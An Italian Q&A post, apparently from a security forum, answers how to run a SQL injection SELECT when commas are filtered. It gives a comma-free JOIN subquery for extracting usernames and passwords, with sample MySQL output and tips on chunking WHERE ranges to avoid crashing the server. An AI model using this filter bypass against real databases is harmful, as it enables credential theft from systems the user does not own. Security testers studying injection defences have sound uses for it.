Sto provando SQLi e la virgola è stata filtrata lì. Come effettuare la richiesta SQL SELECT senza virgola?
Supponiamo che tu debba recuperare USERNAME,PASSWORD
colonne form USERTABLE
.
In questo esempio La USERTABLE
ha dati come mostrato sotto
mysql> SELECT * FROM USERTABLE;
+----------+------------+
| USERNAME | PASSWORD |
+----------+------------+
| ALICE | ALICEPASS |
| BOB | BOBPASS |
| ALICE2 | ALICE2PASS |
| BOB2 | BOB2PASS |
+----------+------------+
4 rows in set (0.00 sec)
Ora l'SQL senza una virgola (,) per recuperare sia il nome utente sia la password possono essere come sotto
SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT1 JOIN (SELECT PASSWORD FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT2 ON UT1.USERNAME=UT2.PASSWORD OR 1=1
L'output è il seguente
mysql> SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME<"B")UT1 JOIN
(SELECT PASSWORD FROM USERTABLE WHERE USERNAME<"B")UT2 ON UT1.USERNAME=UT2.PAS
SWORD OR 1=1;
+----------+------------+
| USERNAME | PASSWORD |
+----------+------------+
| ALICE | ALICEPASS |
| ALICE2 | ALICEPASS |
| ALICE | ALICE2PASS |
| ALICE2 | ALICE2PASS |
+----------+------------+
4 rows in set (0.00 sec)
Devi attentamente mettere i filtri a FROM USERTABLE WHERE USERNAME<"B"
.
Se si inserisce qualcosa come FROM USERTABLE WHERE USERNAME<"Z"
, probabilmente si bloccherà il server SQL a causa di un grosso join.
Solo per menzionare se pensi che il database sia molto grande, poi lucidi i tuoi filtri come USERNAME>"AA" AND USERNAME<"AF"
in modo che venga eseguito un piccolo insieme di dati e sia veloce. Nella prossima iterazione puoi usare USERNAME>"AF" AND USERNAME<"AL"
e così via.
E osserva che hai ottenuto le combinazioni CROSSJOIN di nomi utente e password.
Otterrai N X N
di righe. E potresti considerare le righe a multipli di N come N,2N,3N
ecc per una combinazione valida di nomi utente e password in caso di Mysql.
Per alcuni altri software di database potrebbe essere necessario provare tutte le combinazioni di USERNAME,PASSWORD
recuperate.
Leggi altre domande sui tag sql-injection databases